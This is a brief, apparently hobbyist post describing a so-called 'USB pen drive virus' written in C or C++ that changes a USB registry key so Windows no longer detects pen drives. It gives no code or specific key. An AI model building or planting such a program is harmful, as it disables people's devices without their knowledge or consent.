USB Pen Drive Virus

Virus is a program which infects computer, in different way. I am explaining about a Virus Which can easily be made in C or C++. When we have run .exe file of this Pendrive-usb virus then when we connect pendrive with our computer usb,it will not be connected. Operating System would not be able to detect pendrive.

Code is written to directly change the usb registry option and change its key. Not going to explain about registry in detail now, later will explain.
